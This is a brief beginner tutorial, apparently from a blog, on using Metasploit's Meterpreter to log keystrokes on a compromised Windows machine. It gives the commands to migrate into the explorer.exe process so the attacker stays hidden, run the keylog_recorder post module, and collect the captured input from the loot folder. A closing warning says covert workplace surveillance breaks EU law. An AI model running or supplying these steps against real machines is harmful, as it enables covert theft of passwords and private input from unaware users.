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METASPOILT – Beginners Guide – Tutorial on How to use keylogger commands


Keyloggers are not the most efficient tool, there are far more devastating attacks.  However keyloggers have their fan base.


(explorer.exe) 1668

migrate 1668

run post/windows/capture/keylog_recorder


saves to /root/.msf3/loot/

(on Backtrack)


Logic Flow

1. list running processes on victims machine

2. look for application with a GUI to hide you.

3. migrate to explorer process in memory – this means the attacker is “cloaked” as windows session space in memory

4. run keylogger – capture input

5. store to /root/.msf3/loot

ILLEGAL – Surveillance is against EU Employment law.

Only use these commands on your own equipment.

If you are an employer the EU demands that you must tell employees that they are under surveillance.  Not only will you violate EU Data Protection and therefore lose your case, I would expect you to be heavily fined in an Employment Tribunal.

Do not violate the PRIME DIRECTIVE of Data Protection.

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